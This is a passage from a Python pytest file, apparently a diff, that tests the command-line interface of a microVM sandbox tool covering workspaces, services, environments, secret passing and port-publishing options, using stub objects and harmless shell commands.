RuntimeError("shell boom") - - def signal_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: - del args, inner_kwargs - raise RuntimeError("shell boom") - - def close_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: - del args, inner_kwargs - raise RuntimeError("shell boom") - - class Parser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command=shell_command, - workspace_id="workspace-123", - json=False, - **kwargs, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: Parser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - assert "[error] shell boom" in capsys.readouterr().err - - -def test_cli_workspace_service_start_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service( - self, workspace_id: str, service_name: str, **kwargs: Any - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" - assert kwargs["readiness"] == {"type": "file", "path": ".ready"} - assert kwargs["published_ports"] == [{"host_port": 18080, "guest_port": 8080}] - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "published_ports": [ - { - "host": "127.0.0.1", - "host_port": 18080, - "guest_port": 8080, - "protocol": "tcp", - } - ], - } - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="workspace-123", - service_name="app", - cwd="/workspace", - ready_file=".ready", - ready_tcp=None, - ready_http=None, - ready_command=None, - ready_timeout_seconds=30, - ready_interval_ms=500, - publish=["18080:8080"], - json=True, - command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["state"] == "running" - - -def test_cli_workspace_service_logs_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def logs_service( - self, - workspace_id: str, - service_name: str, - *, - tail_lines: int, - all: bool, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - assert tail_lines == 200 - assert all is False - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "stdout": "ready\n", - "stderr": "", - "tail_lines": 200, - "truncated": False, - } - - class LogsParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="logs", - workspace_id="workspace-123", - service_name="app", - tail_lines=200, - all=False, - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert captured.out == "ready\n" - assert "service_name=app" in captured.err - - -def test_cli_workspace_service_list_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def list_services(self, workspace_id: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - return { - "workspace_id": workspace_id, - "count": 2, - "running_count": 1, - "services": [ - { - "workspace_id": workspace_id, - "service_name": "app", - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "published_ports": [ - { - "host": "127.0.0.1", - "host_port": 18080, - "guest_port": 8080, - "protocol": "tcp", - } - ], - "readiness": {"type": "file", "path": "/workspace/.ready"}, - }, - { - "workspace_id": workspace_id, - "service_name": "worker", - "state": "stopped", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "readiness": None, - }, - ], - } - - class ListParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="list", - workspace_id="workspace-123", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert "app [running] cwd=/workspace published=127.0.0.1:18080->8080/tcp" in captured.out - assert "worker [stopped] cwd=/workspace" in captured.out - - -def test_cli_workspace_service_status_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "readiness": {"type": "file", "path": "/workspace/.ready"}, - } - - class StatusParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="status", - workspace_id="workspace-123", - service_name="app", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["state"] == "running" - - -def test_cli_workspace_service_stop_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "stopped", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "stop_reason": "sigterm", - } - - class StopParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="stop", - workspace_id="workspace-123", - service_name="app", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert "service_name=app" in captured.err - assert "state=stopped" in captured.err - - -def test_cli_workspace_service_start_rejects_multiple_readiness_flags( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service(self, *args: Any, **kwargs: Any) -> dict[str, Any]: - raise AssertionError("start_service should not be called") - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="workspace-123", - service_name="app", - cwd="/workspace", - ready_file=".ready", - ready_tcp="127.0.0.1:8080", - ready_http=None, - ready_command=None, - ready_timeout_seconds=30, - ready_interval_ms=500, - json=False, - command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - captured = capsys.readouterr() - assert "choose at most one" in captured.err - - -def test_cli_workspace_service_start_prints_human_with_ready_command( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service( - self, workspace_id: str, service_name: str, **kwargs: Any - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - assert kwargs["readiness"] == {"type": "command", "command": "test -f .ready"} - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - } - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="workspace-123", - service_name="app", - cwd="/workspace", - ready_file=None, - ready_tcp=None, - ready_http=None, - ready_command="test -f .ready", - ready_timeout_seconds=30, - ready_interval_ms=500, - json=False, - command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert "service_name=app" in captured.err - assert "state=running" in captured.err - - -def test_cli_workspace_service_start_prints_json_error( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service( - self, workspace_id: str, service_name: str, **kwargs: Any - ) -> dict[str, Any]: - del workspace_id, service_name, kwargs - raise RuntimeError("service boom") - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="workspace-123", - service_name="app", - cwd="/workspace", - ready_file=None, - ready_tcp="127.0.0.1:8080", - ready_http=None, - ready_command=None, - ready_timeout_seconds=30, - ready_interval_ms=500, - json=True, - command_args=["--", "sh", "-lc", "while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["error"] == "service boom" - - -def test_cli_workspace_service_list_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def list_services(self, workspace_id: str) -> dict[str, Any]: - return {"workspace_id": workspace_id, "count": 0, "running_count": 0, "services": []} - - class ListParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="list", - workspace_id="workspace-123", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["count"] == 0 - - -def test_cli_workspace_service_status_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - del workspace_id - return { - "workspace_id": "workspace-123", - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "readiness": {"type": "tcp", "address": "127.0.0.1:8080"}, - } - - class StatusParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="status", - workspace_id="workspace-123", - service_name="app", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert "service_name=app" in captured.err - assert "state=running" in captured.err - - -def test_cli_workspace_service_logs_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def logs_service( - self, - workspace_id: str, - service_name: str, - *, - tail_lines: int | None, - all: bool, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - assert tail_lines is None - assert all is True - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "stdout": "ready\n", - "stderr": "", - "tail_lines": None, - "truncated": False, - } - - class LogsParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="logs", - workspace_id="workspace-123", - service_name="app", - tail_lines=None, - all=True, - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["tail_lines"] is None - - -def test_cli_workspace_service_stop_prints_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "stopped", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - } - - class StopParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="stop", - workspace_id="workspace-123", - service_name="app", - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["state"] == "stopped" - - -def test_cli_workspace_exec_json_error_exits_nonzero( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def exec_workspace( - self, - workspace_id: str, - *, - command: str, - timeout_seconds: int, - ) -> dict[str, Any]: - del workspace_id, command, timeout_seconds - raise RuntimeError("workspace is unavailable") - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="exec", - workspace_id="workspace-123", - timeout_seconds=30, - json=True, - command_args=["--", "true"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - - with pytest.raises(SystemExit, match="1"): - cli.main() - - payload = json.loads(capsys.readouterr().out) - assert payload["ok"] is False - - -def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str]) -> None: - cli._print_env_list_human( - { - "catalog_version": "3.0.0", - "environments": [ - {"name": "debian:12", "installed": True, "description": "Git environment"}, - "ignored", - ], - } - ) - cli._print_env_detail_human( - { - "name": "debian:12", - "version": "1.0.0", - "distribution": "debian", - "distribution_version": "12", - "installed": True, - "cache_dir": "/cache", - "default_packages": ["bash", "git"], - "description": "Git environment", - "install_dir": "/cache/linux-x86_64/debian_12-1.0.0", - "install_manifest": "/cache/linux-x86_64/debian_12-1.0.0/environment.json", - "kernel_image": "/cache/vmlinux", - "rootfs_image": "/cache/rootfs.ext4", - "oci_registry": "registry-1.docker.io", - "oci_repository": "thalesmaciel/pyro-environment-debian-12", - "oci_reference": "1.0.0", - }, - action="Environment", - ) - cli._print_prune_human({"count": 2, "deleted_environment_dirs": ["a", "b"]}) - cli._print_doctor_human( - { - "platform": "linux-x86_64", - "runtime_ok": False, - "issues": ["broken"], - "kvm": {"exists": True, "readable": True, "writable": False}, - "runtime": { - "cache_dir": "/cache", - "capabilities": { - "supports_vm_boot": True, - "supports_guest_exec": False, - "supports_guest_network": True, - }, - }, - "networking": {"tun_available": True, "ip_forward_enabled": False}, - } - ) - captured = capsys.readouterr().out - assert "Catalog version: 3.0.0" in captured - assert "debian:12 [installed] Git environment" in captured - assert "Install manifest: /cache/linux-x86_64/debian_12-1.0.0/environment.json" in captured - assert "Deleted 2 cached environment entries." in captured - assert "Runtime: FAIL" in captured - assert "Issues:" in captured - - -def test_print_env_list_human_handles_empty(capsys: pytest.CaptureFixture[str]) -> None: - cli._print_env_list_human({"catalog_version": "3.0.0", "environments": []}) - output = capsys.readouterr().out - assert "No environments found." in output - - -def test_write_stream_skips_empty(capsys: pytest.CaptureFixture[str]) -> None: - cli._write_stream("", stream=sys.stdout) - cli._write_stream("x", stream=sys.stdout) - captured = capsys.readouterr() - assert captured.out == "x" - - -def test_cli_env_pull_prints_human( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def pull_environment(self, environment: str) -> dict[str, object]: - assert environment == "debian:12" - return { - "name": "debian:12", - "version": "1.0.0", - "distribution": "debian", - "distribution_version": "12", - "installed": True, - "cache_dir": "/cache", - } - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="env", - env_command="pull", - environment="debian:12", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Pulled: debian:12" in output - - -def test_cli_env_inspect_and_prune_print_human( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def inspect_environment(self, environment: str) -> dict[str, object]: - assert environment == "debian:12" - return { - "name": "debian:12", - "version": "1.0.0", - "distribution": "debian", - "distribution_version": "12", - "installed": False, - "cache_dir": "/cache", - } - - def prune_environments(self) -> dict[str, object]: - return {"count": 1, "deleted_environment_dirs": ["stale"]} - - class InspectParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="env", - env_command="inspect", - environment="debian:12", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: InspectParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - - class PruneParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="env", env_command="prune", json=False) - - monkeypatch.setattr(cli, "_build_parser", lambda: PruneParser()) - cli.main() - - output = capsys.readouterr().out - assert "Environment: debian:12" in output - assert "Deleted 1 cached environment entry." in output - - -def test_cli_doctor_prints_human( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="doctor", - platform="linux-x86_64", - environment="debian:12", - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr( - cli, - "doctor_report", - lambda *, platform, environment: { - "platform": platform, - "runtime_ok": True, - "issues": [], - "kvm": {"exists": True, "readable": True, "writable": True}, - "runtime": {"catalog_version": "4.5.0", "cache_dir": "/cache"}, - "daily_loop": { - "environment": environment, - "status": "cold", - "installed": False, - "network_prepared": False, - "prepared_at": None, - "manifest_path": "/cache/.prepare/linux-x86_64/debian_12.json", - "reason": "daily loop has not been prepared yet", - "cache_dir": "/cache", - }, - }, - ) - cli.main() - output = capsys.readouterr().out - assert "Runtime: PASS" in output - assert "Daily loop: COLD (debian:12)" in output - assert "Run: pyro prepare debian:12" in output - - -def test_cli_prepare_prints_human( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubManager: - def prepare_daily_loop( - self, - environment: str, - *, - network: bool, - force: bool, - ) -> dict[str, object]: - assert environment == "debian:12" - assert network is True - assert force is False - return { - "environment": environment, - "status": "warm", - "prepared": True, - "reused": False, - "executed": True, - "network_prepared": True, - "prepared_at": 123.0, - "manifest_path": "/cache/.prepare/linux-x86_64/debian_12.json", - "cache_dir": "/cache", - "last_prepare_duration_ms": 456, - "reason": None, - } - - class StubPyro: - def __init__(self) -> None: - self.manager = StubManager() - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="prepare", - environment="debian:12", - network=True, - force=False, - json=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = capsys.readouterr().out - assert "Prepare: debian:12" in output - assert "Daily loop: WARM" in output - assert "Result: prepared network_prepared=yes" in output - - -def test_cli_prepare_prints_json_and_errors( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class SuccessManager: - def prepare_daily_loop( - self, - environment: str, - *, - network: bool, - force: bool, - ) -> dict[str, object]: - assert environment == "debian:12" - assert network is False - assert force is True - return {"environment": environment, "reused": True} - - class SuccessPyro: - def __init__(self) -> None: - self.manager = SuccessManager() - - class SuccessParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="prepare", - environment="debian:12", - network=False, - force=True, - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: SuccessParser()) - monkeypatch.setattr(cli, "Pyro", SuccessPyro) - cli.main() - payload = json.loads(capsys.readouterr().out) - assert payload["reused"] is True - - class ErrorManager: - def prepare_daily_loop( - self, - environment: str, - *, - network: bool, - force: bool, - ) -> dict[str, object]: - del environment, network, force - raise RuntimeError("prepare failed") - - class ErrorPyro: - def __init__(self) -> None: - self.manager = ErrorManager() - - class ErrorParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="prepare", - environment="debian:12", - network=False, - force=False, - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ErrorParser()) - monkeypatch.setattr(cli, "Pyro", ErrorPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - error_payload = json.loads(capsys.readouterr().out) - assert error_payload["ok"] is False - assert error_payload["error"] == "prepare failed" - - -def test_cli_run_json_error_exits_nonzero( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubPyro: - def run_in_vm(self, **kwargs: Any) -> dict[str, Any]: - del kwargs - raise RuntimeError("guest boot is unavailable") - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="run", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - timeout_seconds=30, - ttl_seconds=600, - network=False, - allow_host_compat=False, - json=True, - command_args=["--", "echo", "hi"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - - with pytest.raises(SystemExit, match="1"): - cli.main() - - payload = json.loads(capsys.readouterr().out) - assert payload["ok"] is False - - -def test_cli_mcp_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> None: - observed: dict[str, Any] = {} - - class StubPyro: - def create_server( - self, - *, - profile: str, - mode: str | None, - project_path: str | None, - repo_url: str | None, - repo_ref: str | None, - no_project_source: bool, - ) -> Any: - observed["profile"] = profile - observed["mode"] = mode - observed["project_path"] = project_path - observed["repo_url"] = repo_url - observed["repo_ref"] = repo_ref - observed["no_project_source"] = no_project_source - return type( - "StubServer", - (), - {"run": staticmethod(lambda transport: observed.update({"transport": transport}))}, - )() - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="mcp", - mcp_command="serve", - profile="workspace-core", - mode=None, - project_path="/repo", - repo_url=None, - repo_ref=None, - no_project_source=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - assert observed == { - "profile": "workspace-core", - "mode": None, - "project_path": "/repo", - "repo_url": None, - "repo_ref": None, - "no_project_source": False, - "transport": "stdio", - } - - -def test_cli_demo_default_prints_json( - monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] -) -> None: - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="demo", demo_command=None, network=False) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "run_demo", lambda network: {"exit_code": 0, "network": network}) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["exit_code"] == 0 - - -def test_cli_demo_ollama_verbose_and_error_paths( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class VerboseParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="demo", - demo_command="ollama", - base_url="http://localhost:11434/v1", - model="llama3.2:3b", - verbose=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: VerboseParser()) - monkeypatch.setattr( - cli, - "run_ollama_tool_demo", - lambda **kwargs: { - "exec_result": {"exit_code": 0, "execution_mode": "guest_vsock", "stdout": "true\n"}, - "fallback_used": False, - }, - ) - cli.main() - output = capsys.readouterr().out - assert "[summary] stdout=true" in output - - class ErrorParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="demo", - demo_command="ollama", - base_url="http://localhost:11434/v1", - model="llama3.2:3b", - verbose=False, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: ErrorParser()) - monkeypatch.setattr( - cli, - "run_ollama_tool_demo", - lambda **kwargs: (_ for _ in ()).throw(RuntimeError("tool loop failed")), - ) - with pytest.raises(SystemExit, match="1"): - cli.main() - assert "[error] tool loop failed" in capsys.readouterr().out - - -def test_cli_workspace_create_passes_secrets( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], - tmp_path: Path, -) -> None: - secret_file = tmp_path / "token.txt" - secret_file.write_text("from-file\n", encoding="utf-8") - - class StubPyro: - def create_workspace(self, **kwargs: Any) -> dict[str, Any]: - assert kwargs["environment"] == "debian:12" - assert kwargs["seed_path"] == "./repo" - assert kwargs["secrets"] == [ - {"name": "API_TOKEN", "value": "expected"}, - {"name": "FILE_TOKEN", "file_path": str(secret_file)}, - ] - assert kwargs["name"] is None - assert kwargs["labels"] is None - return {"workspace_id": "ws-123"} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="create", - environment="debian:12", - vcpu_count=1, - mem_mib=1024, - ttl_seconds=600, - network_policy="off", - allow_host_compat=False, - seed_path="./repo", - name=None, - label=[], - secret=["API_TOKEN=expected"], - secret_file=[f"FILE_TOKEN={secret_file}"], - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["workspace_id"] == "ws-123" - - -def test_cli_workspace_exec_passes_secret_env( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def exec_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: - assert workspace_id == "ws-123" - assert kwargs["command"] == 'sh -lc \'test "$API_TOKEN" = "expected"\'' - assert kwargs["secret_env"] == {"API_TOKEN": "API_TOKEN", "TOKEN": "PIP_TOKEN"} - return {"exit_code": 0, "stdout": "", "stderr": ""} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="exec", - workspace_id="ws-123", - timeout_seconds=30, - secret_env=["API_TOKEN", "TOKEN=PIP_TOKEN"], - json=True, - command_args=["--", "sh", "-lc", 'test "$API_TOKEN" = "expected"'], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["exit_code"] == 0 - - -def test_cli_workspace_shell_open_passes_secret_env( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def open_shell(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: - assert workspace_id == "ws-123" - assert kwargs["secret_env"] == {"TOKEN": "TOKEN", "API": "API_TOKEN"} - return {"workspace_id": workspace_id, "shell_id": "shell-1", "state": "running"} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="shell", - workspace_shell_command="open", - workspace_id="ws-123", - cwd="/workspace", - cols=120, - rows=30, - secret_env=["TOKEN", "API=API_TOKEN"], - json=True, - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["shell_id"] == "shell-1" - - -def test_cli_workspace_service_start_passes_secret_env( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service( - self, - workspace_id: str, - service_name: str, - **kwargs: Any, - ) -> dict[str, Any]: - assert workspace_id == "ws-123" - assert service_name == "app" - assert kwargs["secret_env"] == {"TOKEN": "TOKEN", "API": "API_TOKEN"} - assert kwargs["readiness"] == {"type": "file", "path": ".ready"} - assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" - return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} - - class StubParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="ws-123", - service_name="app", - cwd="/workspace", - ready_file=".ready", - ready_tcp=None, - ready_http=None, - ready_command=None, - ready_timeout_seconds=30, - ready_interval_ms=500, - secret_env=["TOKEN", "API=API_TOKEN"], - json=True, - command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - output = json.loads(capsys.readouterr().out) - assert output["state"] == "running" - - -def test_cli_workspace_secret_parsers_validate_syntax(tmp_path: Path) -> None: - secret_file = tmp_path / "token.txt" - secret_file.write_text("expected\n", encoding="utf-8") - - assert cli._parse_workspace_secret_option("API_TOKEN=expected") == { # noqa: SLF001 - "name": "API_TOKEN", - "value": "expected", - } - assert cli._parse_workspace_secret_file_option(f"FILE_TOKEN={secret_file}") == { # noqa: SLF001 - "name": "FILE_TOKEN", - "file_path": str(secret_file), - } - assert cli._parse_workspace_secret_env_options(["TOKEN", "API=PIP_TOKEN"]) == { # noqa: SLF001 - "TOKEN": "TOKEN", - "API": "PIP_TOKEN", - } - - with pytest.raises(ValueError, match="NAME=VALUE"): - cli._parse_workspace_secret_option("API_TOKEN") # noqa: SLF001 - with pytest.raises(ValueError, match="NAME=PATH"): - cli._parse_workspace_secret_file_option("FILE_TOKEN=") # noqa: SLF001 - with pytest.raises(ValueError, match="must name a secret"): - cli._parse_workspace_secret_env_options(["=TOKEN"]) # noqa: SLF001 - with pytest.raises(ValueError, match="must name an environment variable"): - cli._parse_workspace_secret_env_options(["TOKEN="]) # noqa: SLF001 - with pytest.raises(ValueError, match="more than once"): - cli._parse_workspace_secret_env_options(["TOKEN", "TOKEN=API_TOKEN"]) # noqa: SLF001 - - -def test_cli_workspace_publish_parser_validates_syntax() -> None: - assert cli._parse_workspace_publish_options(["8080"]) == [ # noqa: SLF001 - {"host_port": None, "guest_port": 8080} - ] - assert cli._parse_workspace_publish_options(["18080:8080"]) == [ # noqa: SLF001 - {"host_port": 18080, "guest_port": 8080} - ] - - with pytest.raises(ValueError, match="must not be empty"): - cli._parse_workspace_publish_options([" "]) # noqa: SLF001 - with pytest.raises(ValueError, match="must use GUEST_PORT or HOST_PORT:GUEST_PORT"): - cli._parse_workspace_publish_options(["bad"]) # noqa: SLF001 - with pytest.raises(ValueError, match="must use GUEST_PORT or HOST_PORT:GUEST_PORT"): - cli._parse_workspace_publish_options(["bad:8080"]) # noqa: SLF001 